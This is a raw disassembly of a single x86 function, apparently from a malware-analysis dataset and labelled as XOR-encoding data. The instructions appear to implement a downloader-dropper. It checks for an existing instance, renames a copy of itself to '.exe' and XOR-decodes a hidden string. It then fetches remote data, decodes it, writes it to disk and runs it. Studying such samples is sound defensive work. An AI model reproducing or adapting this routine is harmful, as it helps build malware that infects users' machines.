Function at 0x401000
Capabilities:
Encode data using xor

Disassembly:
jmp 0x40104b
mov eax, 1
push eax
push eax
call dword [0x403730]
call dword [0x403760]
cmp eax, 0x57
je 0x401071
call fcn.00401004
cmp eax, 1
je 0x401130
call dword [0x403764]
mov ebx, eax
mov al, byte [ebx]
or al, al
je 0x401082
inc ebx
jmp 0x401079
dec ebx
dec ebx
mov eax, ebx
mov al, byte [eax]
cmp al, 0x2a
je 0x4010fc
push 0x40138d
push 0
push 0
call dword [0x403758]
call dword [0x403760]
cmp eax, 0xb7
je 0x401130
call dword [0x403764]
mov esi, eax
lea edi, [0x403596]
lodsb al, byte [esi]
test al, al
je 0x4010c2
stosb byte es:[edi], al
jmp 0x4010ba
mov al, 0x20
stosb byte es:[edi], al
mov al, 0x2a
stosb byte es:[edi], al
stosb byte es:[edi], al
mov al, 0
stosb byte es:[edi], al
push 0x401339
call dword [0x403734]
push 0x40137d
push 0x401339
push 0
push 0
push 0x20
push 0
push 0
push 0
push 0x403596
push 0
call dword [0x403748]
jmp 0x401130
push 0x40138d
push 0
push 0
call dword [0x403758]
mov eax, 0x401138
push 0x403696
push 0x20
push 0
push eax
push 0
push 0
call dword [0x40374c]
push 0x2bf20
push eax
call dword [0x40375c]
push 0
call dword [0x403768]
push 0x403496
push 0x100
call dword [0x403750]
push 0x403596
push 0
push 0x401002
push 0x403496
call dword [0x403754]
lea ebx, [0x403596]
mov al, byte [ebx]
test al, al
je 0x40116e
inc ebx
jmp 0x401165
push ebx
sub ebx, 3
mov al, 0x65
push eax
mov byte [ebx], al
inc ebx
mov al, 0x78
mov byte [ebx], al
pop eax
pop ebx
dec ebx
mov byte [ebx], al
push 0
push 0
push 0
push 0
push 0x40148c
call dword [0x403872]
test eax, eax
jne 0x40119a
jmp 0x401130
mov dword [0x40147c], eax
push 0
push 0
push 0
push 0
push 0x401454
push eax
call dword [0x403876]
test eax, eax
jne 0x4011b9
jmp 0x4011d6
mov dword [0x401480], eax
push 0x401488
push 0x10
push 0x401496
push dword [0x401480]
call dword [0x40387e]
push dword [0x40147c]
call dword [0x40387a]
push ebx
lea ebx, [0x4013bf]
mov ah, byte [0x4013a8]
mov al, byte [ebx]
test al, al
je 0x4011fc
xor al, ah
mov byte [ebx], al
inc ebx
jmp 0x4011ef
pop ebx
push 0
push 0
push 0
push 0
push 0x40148c
call dword [0x403872]
test eax, eax
jne 0x401219
jmp 0x401130
mov dword [0x40147c], eax
push 0
push 0
push 0
push 0
push 0x4013bf
push eax
call dword [0x403876]
test eax, eax
jne 0x40123b
jmp 0x40132c
mov dword [0x401480], eax
push 0
push pe_nt_image_headers32
push 4
push 0
push 1
push 0x40000000
push 0x403596
call dword [0x40373c]
test eax, eax
jns 0x401266
jmp 0x40132c
mov dword [0x401478], eax
push 0x401488
push 0x2000
push 0x401496
push dword [0x401480]
call dword [0x40387e]
test eax, eax
jne 0x40128f
jmp 0x401320
cmp dword [0x401488], 0
je 0x4012d9
push eax
push ecx
push ebx
mov ah, byte [0x4013b3]
mov ecx, dword [0x401488]
lea ebx, [0x401496]
mov al, byte [ebx]
xor al, ah
mov byte [ebx], al
inc ebx
loop 0x4012ad
pop ebx
pop ecx
pop eax
push 0
push 0x401484
push dword [0x401488]
push 0x401496
push dword [0x401478]
call dword [0x403744]
jmp 0x40126b
push dword [0x401478]
call dword [0x403738]
push 0x401339
call dword [0x403734]
push 0x40137d
push 0x401339
push 0
push 0
push 0x20
push 0
push 0
push 0
push 0
push 0x403596
call dword [0x403748]
push 0x401381
call dword [0x403738]
jmp 0x40132c
push dword [0x401478]
call dword [0x403738]
push dword [0x40147c]
call dword [0x40387a]
ret